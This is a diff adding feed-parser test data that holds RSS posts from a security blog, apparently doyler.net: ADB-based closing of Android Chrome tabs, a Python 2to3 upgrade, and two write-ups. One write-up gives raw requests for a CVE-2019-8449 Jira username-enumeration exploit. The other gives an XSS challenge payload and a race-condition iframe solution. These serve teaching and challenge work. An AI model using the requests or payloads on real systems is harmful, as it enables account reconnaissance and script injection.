    I'm not sure if it qualifies as a "security" tool, but I could see a few uses for it here and there.

    +

    I also found some older EverSec challenges, so I'm hoping to go through them soon and see if any are worth blogging about.

    +

    The post Download Images from HTML – Including WordPress Posts appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/download-images-from-html/feed + 0 + + + 4869
    + + Close Android Chrome Tabs – Now With Automation + https://www.doyler.net/security-not-included/close-android-chrome-tabs + https://www.doyler.net/security-not-included/close-android-chrome-tabs#respond + + + Sat, 15 Feb 2020 17:00:09 +0000 + + https://www.doyler.net/?p=4871 + + I wanted a way to close Android Chrome tabs, and now I have it. Close Android Chrome Tabs - Introduction First of all, I wanted to wish everyone a Belated Happy Valentine's day! If you read my last post about … Continue reading

    +

    The post Close Android Chrome Tabs – Now With Automation appeared first on doyler.net.

    +]]>
    + I wanted a way to close Android Chrome tabs, and now I have it.

    +

    +

    Close Android Chrome Tabs - Introduction

    +

    First of all, I wanted to wish everyone a Belated Happy Valentine's day!

    +

    If you read my last post about interacting with Android Chrome tabs, then you have an idea of where this one may be going.

    +

    First, I wanted to note that the code on that post was out-of-date, and I've provided the updates below (and updated the original post).

    +
    +tabs = Array.from(document.querySelector('div /deep/ div /deep/ div /deep/ div /deep/ div /deep/ div /deep/ div.vbox.flex-auto').shadowRoot.querySelectorAll('.devices-view .device-page-list .vbox'), s => ({name: s.querySelector('.device-page-title').textContent, url: s.querySelector('.device-page-url .devtools-link').getAttribute('href')}))
    +str = '';
    +for (i = 0; i < tabs.length; i++){
    +    if (tabs[i].name != null){
    +      str += '- [' + tabs[i].name + '](' + tabs[i].url + ')\n'
    +    } else {
    +      console.log(tabs[i])
    +    }
    +}
    +copy(str)
    +
    +

    That said, I received a great comment asking how to close these tabs as well.

    +

    After a lot of research and testing, I was finally able to figure this out. I'll walk through the manual process, as well as provide a short script to automate it at the end.

    +

    Pre-requisites

    +

    First, you will need ADB installed on your local system.

    +

    Once you have ADB installed and running, you can verify the connection after enabling USB debugging.

    +
    +C:\Users\Ray>adb devices
    +* daemon not running; starting now at tcp:5037
    +* daemon started successfully
    +List of devices attached
    +70xxxxxxxxxxxx  unauthorized
    +
    +

    Next, create a local port forwarding rule from a port to the chrome_devtools_remote on the target device.

    +
    +C:\Users\Ray>adb forward tcp:9222 localabstract:chrome_devtools_remote
    +9222
    +
    +

    Close Android Chrome Tabs - Research and Closing Tabs

    +

    During some of my searches, I came across this post that mentioned the port forwarding and the /json Chrome endpoints.

    +

    First, I went to http://localhost:9222/json/version to ensure that my forwarding worked.

    +

    Close Android Chrome Tabs - Version

    +

    With that working, I also went to the http://localhost:9222/json/list endpoint, to get a list of my tabs.

    +

    Close Android Chrome Tabs - List

    +

    Note that this is also another way to extract every tab from the device, as opposed to the DevTools and JavaScript method.

    +

    Closing the Tabs

    +

    The JSON endpoint was something that I was hoping to use to close my tabs, but couldn't get it working initially. For more information, I recommend the following posts that I spent some time on.

    + +

    First, I picked one of my tabs that I wanted to close, and wrote down the id.

    +
    +[ {
    +   "description": "",
    +   "devtoolsFrontendUrl": "http://chrome-devtools-frontend.appspot.com/serve_rev/@a9b97dff480d5c50843b5190c4d02373a0fc6d84/inspector.html?ws=localhost:9222/devtools/page/E49927F7E60C49875AF1E0A783ACD140",
    +   "id": "E49927F7E60C49875AF1E0A783ACD140",
    +   "title": "",
    +   "type": "other",
    +   "url": "",
    +   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/E49927F7E60C49875AF1E0A783ACD140"
    +}, {
    +   "description": "",
    +   "devtoolsFrontendUrl": "http://chrome-devtools-frontend.appspot.com/serve_rev/@a9b97dff480d5c50843b5190c4d02373a0fc6d84/inspector.html?ws=localhost:9222/devtools/page/16025",
    +   "id": "16025",
    +   "title": "Should You Do Your Own Taxes? (and Why I Don’t) | Mr. Money Mustache",
    +   "type": "page",
    +   "url": "https://www.mrmoneymustache.com/2016/02/10/should-you-do-your-own-taxes/",
    +   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/16025"
    +}, {
    +
    +

    Next, I went to http://localhost:9222/json/close/16025, and received the message, "Target is closing". When I went back to my Android device, I saw that the tab was closed!

    +

    Automation

    +

    With manual closing verified, it was time to write a script to help Matt, and anyone else out.

    +

    You can find the code below, but it is obviously pretty simple.

    +
    +import json
    +import requests
    +
    +response = requests.get("http://localhost:9222/json/list")
    +
    +#print(response.text.encode('utf-8'))
    +
    +json_data = json.loads(response.text.encode('utf-8'))
    +
    +for link in json_data:
    +    #print(link['id'])
    +    response = requests.get("http://localhost:9222/json/close/" + link['id'])
    +    print(response.text)
    +
    +

    When I ran this script, it closed all 80 tabs that I had open quickly.

    +
    +C:\Users\Ray\Documents\GitHub\SecurityTools\AndroidCloseTabs>python androidCloseTabs.py
    +Target is closing
    +Target is closing
    +Target is closing
    +Target is closing
    +...
    +
    +

    As you can see, when I went back to my device, I had zero open tabs.

    +

    Close Android Chrome Tabs - Zero tabs

    +

    Finally, you can find the code and any updates in my GitHub repository

    +

    Close Android Chrome Tabs - Conclusion

    +

    This was a simple solution and script, but I'm glad that I finally got to answer the comment on my original post.

    +

    Let me know if you have any other useful tricks for people who abuse tabs like myself!

    +

    Con season is coming up, so hopefully I will have more CTF or general conference posts. I'm also still working through the eLearnSecurity XDS course, and I'm hoping to finish that up before Q2.

    +

    The post Close Android Chrome Tabs – Now With Automation appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/close-android-chrome-tabs/feed + 0 + + + 4871
    + + More Jira Enumeration (usernames) – CVE-2019-8449 + https://www.doyler.net/security-not-included/more-jira-enumeration + https://www.doyler.net/security-not-included/more-jira-enumeration#comments + + + Sat, 08 Feb 2020 17:00:35 +0000 + + https://www.doyler.net/?p=4847 + + I performed even more Jira enumeration on usernames recently but using a different exploit. Jira Enumeration - Introduction First, I recommend you check out my earlier post, as that was a similar attack that was fixed in an earlier patch. … Continue reading

    +

    The post More Jira Enumeration (usernames) – CVE-2019-8449 appeared first on doyler.net.

    +]]>
    + I performed even more Jira enumeration on usernames recently but using a different exploit.

    +

    +

    Jira Enumeration - Introduction

    +

    First, I recommend you check out my earlier post, as that was a similar attack that was fixed in an earlier patch.

    +

    I was on Twitter one day and saw mention of this vulnerability.

    +

    Looking at CVE-2019-8449, this seemed like another easy exploit.

    +

    This was again only a brief time after the disclosure, so it was another n-day attempt. I used the same target as last time, as I knew a bit about the usernames.

    +

    Testing the Vulnerability

    +

    First, I found a python script that would exploit the vulnerability, so I built my HTTP requests using this as an example.

    +

    Next, to verify that I correctly formatted my request, I sent a valid request to the groupuserpicker endpoint. I assumed that there wasn't a fake.user12345 on the target, to see the false scenario.

    +
    +GET /rest/api/latest/groupuserpicker?query=fake.user12345&maxResults=50&showAvatar=false HTTP/1.1
    +Host: jira.target.com
    +Connection: close
    +Cache-Control: max-age=0
    +Upgrade-Insecure-Requests: 1
    +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
    +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    +Sec-Fetch-Site: none
    +Sec-Fetch-Mode: navigate
    +Accept-Encoding: gzip, deflate
    +Accept-Language: en-US,en;q=0.9
    +
    +

    As you can see, the server responded with a JSON body showing that there were 0 matches.

    +
    +HTTP/1.1 200 
    +Date: Wed, 05 Feb 2020 17:08:21 GMT
    +Content-Type: application/json;charset=UTF-8
    +Connection: close
    +Set-Cookie: [Cookie]
    +X-ANODEID: node-c
    +X-XSS-Protection: 1; mode=block
    +X-Content-Type-Options: nosniff
    +X-Frame-Options: SAMEORIGIN
    +Content-Security-Policy: frame-ancestors 'self'
    +X-AUSERNAME: anonymous
    +Cache-Control: no-cache, no-store, no-transform
    +Content-Length: 148
    +
    +{"users":{"users":[],"total":0,"header":"Showing 0 of 0 matching users"},"groups":{"header":"Showing 0 of 0 matching groups","total":0,"groups":[]}}
    +
    +

    Next, I sent a request with a user that I knew existed, to see the true scenario.

    +
    +GET /rest/api/latest/groupuserpicker?query=raymond.doyle&maxResults=50&showAvatar=false HTTP/1.1
    +Host: jira.target.com
    +Connection: close
    +Cache-Control: max-age=0
    +Upgrade-Insecure-Requests: 1
    +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
    +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    +Sec-Fetch-Site: none
    +Sec-Fetch-Mode: navigate
    +Accept-Encoding: gzip, deflate
    +Accept-Language: en-US,en;q=0.9
    +
    +

    As you can see, the server responded with a different message showed that there was one matching user.

    +
    +HTTP/1.1 200 
    +Date: Wed, 05 Feb 2020 17:08:38 GMT
    +Content-Type: application/json;charset=UTF-8
    +Connection: close
    +Set-Cookie: [Cookie]
    +X-ANODEID: node-a
    +X-XSS-Protection: 1; mode=block
    +X-Content-Type-Options: nosniff
    +X-Frame-Options: SAMEORIGIN
    +Content-Security-Policy: frame-ancestors 'self'
    +X-AUSERNAME: anonymous
    +Cache-Control: no-cache, no-store, no-transform
    +Content-Length: 280
    +
    +{"users":{"users":[{"name":"raymond.doyle","key":"raymond.doyle","html":"Raymond Doyle (raymond.doyle)","displayName":"Raymond Doyle"}],"total":1,"header":"Showing 1 of 1 matching users"},"groups":{"header":"Showing 0 of 0 matching groups","total":0,"groups":[]}}
    +
    +

    After verifying the vulnerability, I fired up Intruder for the full attack. I used strupo's username list again, combined with some custom wordlists from last time. In the end, I sent just over 300,000 requests to the target.

    +

    I got plenty of valid responses, as you can see from this redacted screenshot.

    +

    More Jira Enumeration - Success

    +

    In the end, I enumerated over 1600 users, which was an improvement of over 100 from my last attack!

    +
    +root@kali:~/Jira_CVE20198449# wc -l unique-users.txt 
    +    1611 unique-users.txt
    +
    +

    Post Patch

    +

    Once my target deployed their patches, I went back and verified the fix.

    +

    As you can see, an unauthenticated user can no longer call the groupuserpicker endpoint, preventing the username enumeration.

    +

    Raw Request

    +
    +GET /rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=false HTTP/1.1
    +Host: jira.target.com
    +Connection: close
    +Cache-Control: max-age=0
    +Upgrade-Insecure-Requests: 1
    +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
    +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    +Sec-Fetch-Site: none
    +Sec-Fetch-Mode: navigate
    +Accept-Encoding: gzip, deflate
    +Accept-Language: en-US,en;q=0.9
    +
    +

    Raw Response

    +
    +HTTP/1.1 403 
    +Date: Fri, 07 Feb 2020 12:01:14 GMT
    +Content-Type: application/json;charset=UTF-8
    +Connection: close
    +Set-Cookie: [Cookie]
    +X-ANODEID: node-a
    +X-XSS-Protection: 1; mode=block
    +X-Content-Type-Options: nosniff
    +X-Frame-Options: SAMEORIGIN
    +Content-Security-Policy: frame-ancestors 'self'
    +X-AUSERNAME: anonymous
    +Cache-Control: no-cache, no-store, no-transform
    +Content-Length: 77
    +
    +You are not authenticated. Authentication required to perform this operation.
    +
    +

    Jira Enumeration - Conclusion

    +

    This vulnerability was like the last one, but it was another case of good timing.

    +

    I added an additional 100 users to my target list as well, which is a nice win.

    +

    A vulnerability like this is something that a long-term adversary would exploit, so make sure that you confirm as well as patch as soon as possible.

    +

    As usual, I've got plenty of posts in the hopper, but please let me know if there is anything specific that you'd like to see!

    +

    The post More Jira Enumeration (usernames) – CVE-2019-8449 appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/more-jira-enumeration/feed + 1 + + + 4847
    + + More Intigriti XSS – Just Shy of Success + https://www.doyler.net/security-not-included/more-intigriti-xss + https://www.doyler.net/security-not-included/more-intigriti-xss#respond + + + Sat, 01 Feb 2020 17:00:18 +0000 + + https://www.doyler.net/?p=4510 + + I attempted another Intigriti XSS challenge a few months ago and wanted to share my attempts. More Intigriti XSS - Introduction If you saw my last post, then you are at least partially familiar with these XSS challenges. This was … Continue reading

    +

    The post More Intigriti XSS – Just Shy of Success appeared first on doyler.net.

    +]]>
    + I attempted another Intigriti XSS challenge a few months ago and wanted to share my attempts.

    +

    +

    More Intigriti XSS - Introduction

    +

    If you saw my last post, then you are at least partially familiar with these XSS challenges.

    +

    This was another interesting challenge that they posted, and I wanted a shot at it.

    +

    Unfortunately, I was unable to solve this challenge at all completely. That said, I found a lot of great solutions, and got close in the end.

    +

    The Challenge

    +

    If Intigriti removes the the challenge, then you can find the vulnerable code snippet below.

    +
    +  const whitelist = ['intigriti.com','intigriti.io'];
    +  var url = new URL(location.hash.substr(1));
    +  if(whitelist.indexOf(url.hostname) > -1){
    +    document.write("Redirecting you to " + encodeURIComponent(url.href) + "...");
    +    window.setTimeout(function(){
    +      location = location.hash.substr(1);
    +    });
    +  }
    +  else{
    +    document.write(url.hostname + " is not a valid domain.")
    +  }
    +
    +

    You can find the challenge specifics below as well.

    +
      +
    • Goal: trigger a javascript pop-up on tchallege.intigriti.io using a XSS vulnerability introduced by the javascript snippet above in the latest version of Google Chrome or Firefox
    • +
    • Tips: We'll tweet out a tip for every 100 likes at https://twitter.com/intigriti
    • +
    • Done?: Submit your solution to https://go.intigriti.com/submit-solution
    • +
    • Date: This challenge runs from Monday Nov 18 until Sunday Nov 24
    • +
    • Prize: The winner gets a Burp Suite Pro License
    • +
    • Winner: Out of all correct submissions, we'll randomly draw a winner and announce it on our Twitter profile on Nov 25th
    • +
    +

    Finally, here are the hints that Intigriti tweeted.

    +
      +
    • 100 likes, time for the first tip! You all need a timeout!
    • +
    • 200 likes, tip time! Bug bounty is always a bit like a race...
    • +
    • Did someone just buy likes? 😂 Another tip: follow the thread
    • +
    • 400 likes, time for another tip! #1 #2
    • +
    • Another hint: it might take a few tries
    • +
    +

    Intigriti XSS - Attempted Solution(s)

    +

    With the challenge in hand, I started to work on my solution.

    +

    First, I tried to understand how the URL constructor worked.

    +
    +> var url = new URL('intigriti.com');
    +VM36:1 Uncaught TypeError: Failed to construct 'URL': Invalid URL
    +    at <anonymous>:1:11
    +
    +

    More Intigriti XSS - Failed URL

    +

    As it turns out, the protocol is needed, so that immediately eliminated a few of my first ideas.

    +
    +> var url = new URL('https://www.intigriti.com');
    +undefined
    +> url
    +URL {href: "https://www.intigriti.com/", origin: "https://www.intigriti.com", protocol: "https:", username: "", password: "", …}
    +> url.hostname
    +"www.intigriti.com"
    +
    +

    Next, I tried using a subdomain (www) of one of the white-listed URLs.

    +

    https://challenge.intigriti.io/#https://www.intigriti.com

    +

    WWW

    +

    I also spent a lot of time reading the URL spec, so at least I learned something.

    +

    When that didn't work, I used a site from the list itself, to verify functionality.

    +

    https://challenge.intigriti.io/#https://intigriti.com

    +

    Successful redirect

    +

    Next, I wanted to see how JavaScript handled multiple hashes in one URL. Unfortunately, it appeared that only the first one was considered the location.hash.

    +

    https://challenge.intigriti.io/#https://testing123.com#https://intigriti.com

    +
    +> location.hash
    +"#https://testing123.com#https://intigriti.com"
    +> var url = new URL(location.hash.substr(1));
    +undefined
    +> url
    +URL {href: "https://testing123.com/#https://intigriti.com", origin: "https://testing123.com", protocol: "https:", username: "", password: "", …}hash: "#https://intigriti.com"host: "testing123.com"hostname: "testing123.com"href: "https://testing123.com/#https://intigriti.com"origin: "https://testing123.com"password: ""pathname: "/"port: ""protocol: "https:"search: ""searchParams: URLSearchParams {}username: ""__proto__: URL
    +
    +

    Additionally, I tried to inject some HTML in the location.hash, in spite of the encodeURIComponent call.

    +

    https://challenge.intigriti.io/#https://intigriti.com#%22%3E%3Cb%3Etest%3C/b%3E

    +

    Unfortunately, this did not work, and I did not inject any HTML.

    +
    +Redirecting you to https%3A%2F%2Fintigriti.com%2F%23%2522%253E%253Cb%253Etest%253C%2Fb%253E...
    +
    +

    More Intigriti XSS - Injection attempt

    +

    Nearly Successful

    +

    Between the hints and my attempts, I had a pretty good handle on the solution.

    +

    I thought (correctly) that I needed to exploit a race condition on the hash between the white-list and the redirect.

    +

    First, to verify this, I used a valid URL before the redirect.

    +

    https://challenge.intigriti.io/#https://intigriti.io

    +

    Redirect paused

    +

    Once I got to the redirect line, I changed the hash and resumed execution.

    +

    https://challenge.intigriti.io/#javascript:alert(document.domain)

    +

    Debugger alert

    +

    This worked and confirmed that I was on the right path.

    +

    Unfortunately, I was unable to progress past this point, and the challenge ended.

    +

    Correct Solution

    +

    After the challenge ended, I read a few solutions, and realized that I was on the right path.

    +

    In the end, I would have used a page like this for my solution.

    +
    +<html>
    +<head>
    +<title>Intigriti XSS Challenge</title>	
    +</head>
    +
    +<body>
    +    <iframe id= "xss" src="https://challenge.intigriti.io/#https://intigriti.io"></iframe>
    +</body>
    +
    +<script>   	
    +    setTimeout(function(e){document.getElementById('xss').src = "https://challenge.intigriti.io/#javascript:alert(document.domain)"},200);
    +</script>
    +
    +</html>
    +
    +

    As you can see, this successfully popped my alert!

    +

    More Intigriti XSS - Successful alert

    +

    That said, I didn't realize this was in the spirit of the competition, and that was my fault.

    +

    More Intigriti XSS - Conclusion

    +

    This was a fun challenge, although I'm a little disappointed that I couldn't solve it in time.

    +

    I'm looking forward to more XSS posts or challenges, so stay tuned.

    +

    Here are just a few of the solutions that I read when it was over, and it was awesome seeing such variety between them. If you have another unique solution that you'd like me to see or add, then let me know!

    + +

    The post More Intigriti XSS – Just Shy of Success appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/more-intigriti-xss/feed + 0 + + + 4510
    + + Using Python 2to3 to Easily Upgrade (Finally) + https://www.doyler.net/security-not-included/python-2to3-upgrade + https://www.doyler.net/security-not-included/python-2to3-upgrade#respond + + + Sat, 25 Jan 2020 17:00:54 +0000 + + https://www.doyler.net/?p=4744 + + I finally upgraded one my my repositories using Python 2to3, and I wanted to share how. Python 2to3 - Introduction First, if you were not aware, Python 2 is officially end-of-life. While I am a little late to the update … Continue reading

    +

    The post Using Python 2to3 to Easily Upgrade (Finally) appeared first on doyler.net.

    +]]>
    + I finally upgraded one my my repositories using Python 2to3, and I wanted to share how.

    +

    +

    Python 2to3 - Introduction

    +

    First, if you were not aware, Python 2 is officially end-of-life.

    +

    While I am a little late to the update party, I finally got it done on my larger repository.

    +

    There are still repositories and libraries out there that still run on Python 2.7, but hopefully they will all phase out soon.

    +

    Note that you should already have the tool installed, as Python released it back in 2018.

    +

    Usage

    +

    Usage of the tool is simple, and you can see all the flags below.

    +
    +root@kali:~/tools/SecurityTools$ 2to3- --help
    +Usage: 2to3 [options] file|dir ...
    +
    +Options:
    +  -h, --help            show this help message and exit
    +  -d, --doctests_only   Fix up doctests only
    +  -f FIX, --fix=FIX     Each FIX specifies a transformation; default: all
    +  -j PROCESSES, --processes=PROCESSES
    +                        Run 2to3 concurrently
    +  -x NOFIX, --nofix=NOFIX
    +                        Prevent a transformation from being run
    +  -l, --list-fixes      List available transformations
    +  -p, --print-function  Modify the grammar so that print() is a function
    +  -v, --verbose         More verbose logging
    +  --no-diffs            Don't show diffs of the refactoring
    +  -w, --write           Write back modified files
    +  -n, --nobackups       Don't write backups for modified files
    +  -o OUTPUT_DIR, --output-dir=OUTPUT_DIR
    +                        Put output files in this directory instead of
    +                        overwriting the input files.  Requires -n.
    +  -W, --write-unchanged-files
    +                        Also write files even if no changes were required
    +                        (useful with --output-dir); implies -w.
    +  --add-suffix=ADD_SUFFIX
    +                        Append this string to all output filenames. Requires
    +                        -n if non-empty.  ex: --add-suffix='3' will generate
    +                        .py3 files.
    +
    +

    I prefer to run the program recursively, and not automatically write any of the changes.

    +

    That said, the -w flag is great if you have a much larger code base with good backups!

    +

    Performing My Updates

    +

    I wanted to update my SecurityTools repository, as this is where most of my current code lives.

    +

    First, I ran the tool on my entire SecurityTools repository. I wrote most of my tools in Python, so I figured that there would be plenty of changes to make.

    +

    As you can see, most of the changes were related to the Python 3 print function.

    +
    +root@kali:~/tools/SecurityTools$ 2to3- .
    +RefactoringTool: Skipping implicit fixer: buffer
    +RefactoringTool: Skipping implicit fixer: idioms
    +RefactoringTool: Skipping implicit fixer: set_literal
    +RefactoringTool: Skipping implicit fixer: ws_comma
    +RefactoringTool: Refactored ./AlexaPortScanner/alexaPortScanner.py
    +--- ./AlexaPortScanner/alexaPortScanner.py	(original)
    ++++ ./AlexaPortScanner/alexaPortScanner.py	(refactored)
    +@@ -1,4 +1,4 @@
    +-from __future__ import print_function
    ++
    + import socket
    + import sys
    + 
    +RefactoringTool: Refactored ./BinToHex/binToHex.py
    +--- ./BinToHex/binToHex.py	(original)
    ++++ ./BinToHex/binToHex.py	(refactored)
    +@@ -14,4 +14,4 @@
    + 			ctr = 0
    + 		ctr += 1
    + 	shellcode += "\""
    +-	print shellcode
    ++	print(shellcode)
    +RefactoringTool: Refactored ./BurpVERBalyzer/VERBalyzer.py
    +--- ./BurpVERBalyzer/VERBalyzer.py	(original)
    ++++ ./BurpVERBalyzer/VERBalyzer.py	(refactored)
    +@@ -25,7 +25,7 @@
    +     from org.python.core.util import StringUtil
    +     import string
    + except ImportError:
    +-    print "Failed to load dependencies."
    ++    print("Failed to load dependencies.")
    + 
    + VERSION = "1.0"
    + callbacks = None
    +@@ -75,7 +75,7 @@
    +         callbacks.registerScannerInsertionPointProvider(self)
    +         callbacks.registerScannerCheck(self)
    + 
    +-        print "Successfully loaded VERBalyzer v" + VERSION
    ++        print("Successfully loaded VERBalyzer v" + VERSION)
    +         return
    + 
    +     # helper method to search a response for occurrences of a literal match string
    +
    +... <snip> ...
    +
    +RefactoringTool: Files that need to be modified:
    +RefactoringTool: ./AlexaPortScanner/alexaPortScanner.py
    +RefactoringTool: ./BinToHex/binToHex.py
    +RefactoringTool: ./BurpVERBalyzer/VERBalyzer.py
    +RefactoringTool: ./DNSRickroll/dnsRickroll.py
    +RefactoringTool: ./ECBPlaintextAttack/ecbAttack.py
    +RefactoringTool: ./ECBPlaintextAttack/ecbServer.py
    +RefactoringTool: ./FileIntegrity/fileintegrity.py
    +RefactoringTool: ./IpExpander/ipExpander.py
    +RefactoringTool: ./PortScanner/portScanner.py
    +RefactoringTool: ./PyDHCPDiscover/dhcpdiscover.py
    +RefactoringTool: ./PythonShellcode/pythonShellcode.py
    +RefactoringTool: ./RSAGenKey/genKey.py
    +RefactoringTool: ./ReverseShell/reverseShell.py
    +RefactoringTool: ./ZipCracker/zipCracker.py
    +
    +

    The only file that had other changes was my old file integrity checker.

    +
    +root@kali:~/tools/SecurityTools$ 2to3- ./FileIntegrity/fileintegrity.py
    +RefactoringTool: Skipping implicit fixer: buffer
    +RefactoringTool: Skipping implicit fixer: idioms
    +RefactoringTool: Skipping implicit fixer: set_literal
    +RefactoringTool: Skipping implicit fixer: ws_comma
    +RefactoringTool: Refactored ./FileIntegrity/fileintegrity.py
    +--- ./FileIntegrity/fileintegrity.py	(original)
    ++++ ./FileIntegrity/fileintegrity.py	(refactored)
    +@@ -6,7 +6,7 @@
    + import requests
    + import shutil
    + import smtplib
    +-from urlparse import urlparse
    ++from urllib.parse import urlparse
    + 
    + def calculateOriginalValues(fileUrl, tempFile):
    +     r = requests.get(fileUrl)
    +@@ -21,10 +21,10 @@
    +         calculated_md5 = hashlib.md5(f.read()).hexdigest()
    + 
    +     if originalHash == calculated_md5:
    +-        print "MD5 verified."
    ++        print("MD5 verified.")
    +         return None
    +     else:
    +-        print "MD5 verification failed!"
    ++        print("MD5 verification failed!")
    +         
    +         file1 = open(fileName, "rb").readlines()
    +         file2 = open(originalFile, "rb").readlines()
    +@@ -44,7 +44,7 @@
    +         
    +         try:
    +             while 1:
    +-                diff_string = diff.next()
    ++                diff_string = next(diff)
    +                 if not (diff_string[0] == " "):
    +                     differences += diff_string + "\r\n"
    +             if diff is None:
    +@@ -55,7 +55,7 @@
    + 
    + def sendEmail(configFile, diffString, isSSL, hasAuth):
    +     config = {}
    +-    execfile(configFile, config) 
    ++    exec(compile(open(configFile).read(), configFile, 'exec'), config) 
    + 
    +     sender = config["sender"]
    +     recipient = config["recipient"]
    +RefactoringTool: Files that need to be modified:
    +RefactoringTool: ./FileIntegrity/fileintegrity.py
    +
    +

    Other than iterators and print methods, I had to learn how to update my execfile call.

    +

    After looking at the official documentation, I updated my code to reflect the 2to3 suggestions exactly.

    +

    Committing the Changes

    +

    When I finished my changes, I went to commit the changes to my repository.

    +

    Unfortunately, I was getting an authentication error when I tried to use the git command line tool.

    +
    +root@kali:~/tools/SecurityTools$ git add .
    +root@kali:~/tools/SecurityTools$ git commit -m "Updated SecurityTools for Python3"
    +[master b5bdff4] Updated SecurityTools for Python3
    + 12 files changed, 66 insertions(+), 67 deletions(-)
    +root@kali:~/tools/SecurityTools$ git push origin master
    +Username for 'https://github.com': doyler
    +Password for 'https://doyler@github.com': 
    +remote: Invalid username or password.
    +fatal: Authentication failed for 'https://github.com/doyler/SecurityTools.git/'
    +
    +

    I rarely used this for GitHub, so I had to poke around to see why it wasn't working.

    +

    As it turns out, I needed to use a personal access token, as opposed to my password.

    +

    Once I fixed this, I was able to commit my changes just fine!

    +
    +root@kali:~/tools/SecurityTools$ git push origin master
    +Username for 'https://github.com': doyler
    +Password for 'https://doyler@github.com': 
    +Enumerating objects: 49, done.
    +Counting objects: 100% (49/49), done.
    +Delta compression using up to 16 threads
    +Compressing objects: 100% (25/25), done.
    +Writing objects: 100% (25/25), 3.02 KiB | 1.51 MiB/s, done.
    +Total 25 (delta 14), reused 0 (delta 0)
    +remote: Resolving deltas: 100% (14/14), completed with 14 local objects.
    +To https://github.com/doyler/SecurityTools.git
    +   e082b9f..b5bdff4  master -> master
    +
    +

    As you can see, the commit went through, and I updated my repository.

    +

    Python 2to3 - Commit

    +

    Python 2to3 - Conclusion

    +

    I should have updated my repositories sooner, but this was something that I was putting off.

    +

    There is still some code in other repositories that I will need to update but let me know if you actually use/need any of it.

    +

    Finally, let me know if there are any updates that you'd like to see to any of these tools, or new tools in general!

    +

    The post Using Python 2to3 to Easily Upgrade (Finally) appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/python-2to3-upgrade/feed + 0 + + + 4744
    +
    +
    + + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/https-www-dozer-cc-feed.xml b/tests/feedlib/testdata/parser/warn/https-www-dozer-cc-feed.xml new file mode 100644 index 0000000..a55c294 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-dozer-cc-feed.xml @@ -0,0 +1,4131 @@ + + + + Dozer的技术小站 + Dozer's Technology Blog + / + + + + Service Mesh 实践(八):分布式上下文 + <h3 id="什么是分布式上下文">什么是分布式上下文</h3> + +<p>产品经理突然来了个需求,希望在一些事件打点的地方记录一下用户的各种信息:IP,User Agent,Accept Language 等。</p> + +<p>但数据打点是分散在各个地方的,而且需求变化非常快,我们怎么样才可以随时随地拿到这些信息呢?</p> + +<p>一种笨办法就是在所有函数调用的地方把相关信息一层层往下传,但你应该没见过这样的代码,实在是太麻烦了。</p> + +<p>另外一种方式就是直接从一个静态方法里拿到当前的 Request 对象,并从中拿到各种信息。例如 C# 中是这样的:<code class="language-plaintext highlighter-rouge">HttpContext.Current.Request</code>,Python Flask 中是这样的:<code class="language-plaintext highlighter-rouge">from flask import request</code>。如果进去看看源码的话就会发现一般它们都是通过 Thread Local 来实现的。大部分的 HTTP Server 都是一个 Request 只由一个线程处理,所以这么做没什么问题。</p> + +<p>而 Golang 的并发模型不一样,所以 Golang 无法这么做,Golang 需要显示地传播 Context。同样,用 Netty 做 HTTP Server 的话,并发模型也是完全不一样的,同样无法直接使用 Thread Local,只能显示传播 Context。还有基于 RxJava 实现的也无法这么做。</p> + +<p>上下文本质上是一种隐式传播的信息,简化工作量。上面提到的这些都是程序内部的上下文,如果把这个隐式的信息传播扩展到微服务之间,那么它就变成分布式上下文了。</p> + +<!--more--> + +<p> </p> + +<h3 id="rpc-框架中的分布式上下文">RPC 框架中的分布式上下文</h3> + +<p>大部分 RPC 框架都会自动传播上下文,用户也可以手动添加一下信息,让它自动传播。</p> + +<p>例如 Dubbo 中就有这样的功能:<a href="http://dubbo.apache.org/zh-cn/docs/user/demos/attachment.html">隐式参数</a></p> + +<p>A 在调用 B 之前调用这个方法:<code class="language-plaintext highlighter-rouge">RpcContext.getContext().setAttachment("user-agent", userAgent);</code>。</p> + +<p>接下来 B 在调用 C,C 在调用 D,每一个下游服务都可以得到这个信息。</p> + +<p>但是,我们主要使用的是 gRPC 和 HTTP,它们的协议中并没有设计这块,所以必须要手动处理了。</p> + +<p>这也是为什么基于 gRPC 或 HTTP 的微服务要做分布式追踪也只能手动处理,因为分布式追踪能串起来的关键就是要透传类似 Request ID 这样的标记,代表你们是一条链路上的。</p> + +<p> </p> + +<h3 id="opentracing-中的-baggage">OpenTracing 中的 Baggage</h3> + +<p>从底层原理上来看,分布式上下文和分布式追踪有一个共同点,它们都要透传一些信息,这部分代码完全是可以公用的。</p> + +<p>这也是为什么 OpenTracing 标准中规范了 Baggage 这个特性:<a href="https://github.com/opentracing/specification/blob/master/specification.md#set-a-baggage-item">https://github.com/opentracing/specification/blob/master/specification.md#set-a-baggage-item</a></p> + +<p>如果你已经使用了任何符合 OpenTracing 标准的分布式追踪框架,你可以直接读取或者写入各种信息,它会自动帮你透传。</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tracer</span><span class="o">.</span><span class="na">activeSpan</span><span class="o">().</span><span class="na">setBaggageItem</span><span class="o">(</span><span 